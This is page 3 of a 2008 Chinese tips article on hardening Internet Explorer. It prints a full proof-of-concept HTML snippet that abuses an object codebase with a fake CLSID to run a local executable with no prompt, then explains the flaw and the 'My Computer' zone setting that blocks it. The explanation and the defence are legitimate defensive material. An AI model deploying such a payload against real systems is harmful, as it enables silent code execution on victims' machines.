IE浏览器防黑技巧十则

作者:2008-03-14 17:07:25| 点击:1028| 评论:0|第3页/共4页 << 上一页|下一页 >>

相关标签: 数码 | 笔记本 | 玩机技巧

侠客:悠悠

  注意:请把&lt;替换为向左的尖括号,把&gt;替换为向右的尖括号。

  &lt;span datasrc="#oExec" datafld="exploit" dataformatas="html"&gt;&lt;/span&gt;

  &lt;xml id="oExec"&gt;

  &lt;security&gt;

  &lt;exploit&gt;

  &lt;![CDATA[

  &lt;object id="oFile"

  classid="clsid:88888888-8888-8888-8888-888888888888"

  codebase="c:/winnt/system32/calc.exe"&gt;&lt;/object&gt;

  ]]&gt;

  &lt;/exploit&gt;

  &lt;/security&gt;

  &lt;/xml&gt;

  运行上面的html文件,会打开你的计算机中c:/winnt/system32文件夹下的calc.exe文件!而且IE没有任何提示!即使在IE的安全设置中禁用ActiveX控件上述代码也能工作!如果不是calc.exe文件而是其他恶意文件又会怎么样?如果是在你浏览的网页中含有类似上面的代码又会怎么样?真危险啊!

  之所以会这样是由于IE存在两个可怕的漏洞:可本地执行任意命令,IE的ActiveX安全设置可被绕过。在上述代码中我们给IE指定了一个系统中并不存在的控件号("clsid:88888888-8888-8888-8888-888888888888),IE会试图从codebase指定的地址去下载并安装改控件。根据codebase于是IE找到了c:/winnt/system32/calc.exe,接着IE开始“下载”并安装该程序。由于calc.exe是EXE文件,这样就等于是在运行该文件,所以calc.exe就被运行了!

  那么为什么IE在“下载安装控件”过程中不提示用户,也不应用IE安全设置中的限定进行检测呢?这就是IE的ActiveX安全设置可被绕过漏洞造成的!其主要原因是IE安全设置都是针对非本地的页面或交互的,对于本地的安全设置IE是最大信任的。如果你注意看IE的安全设置,都是对Internet和Intranet上WEB服务器而言的,根本就没有对本地文件的安全设置。概括说来就是IE对本地安全采用最大信任原则。

  解决的办法就是我们在开始说的那个技巧:挖出挖出IE本地安全配置选项,即修改IE安全设置中有关“我的电脑”的设置,选定后,禁用ActiveX下载就万事大吉了。

  8.在DOS下打开“Internet属性”窗口

  有时在浏览了某些恶意网页后,会导致IE的“Internet属性”对话框无法打开,这时我们可以在DOS窗口下输入:RunDll32.exe shell32.dll,Control_RunDLL inetcpl.cpl命令,就可打开IE的“Internet属性”对话框。要注意“Control_RunDLL”的大小写以及它前面的逗号(,)不要忘记了。RunDll32.exe是Windows动态链接库(DLL)管理工具,可以用来在命令行下执行动态链接库中的某个函数(或者功能模块)。

  RunDll32的使用方法如下:RunDll32.EXE &lt;dllname&gt;,&lt;entrypoint&gt; &lt;optional arguments&gt;,要注意以下几点:

  ①Dllname(就是制定DLL动态链接库所在位置和文件名)直接不能有空格;

点击:1028评论:0好评:0坏评:0
站内相关推荐
 

最新评论

标题作者发布时间

发表评论

您必须登录后才能发表评论,  请登录  新用户?注册


    精彩推荐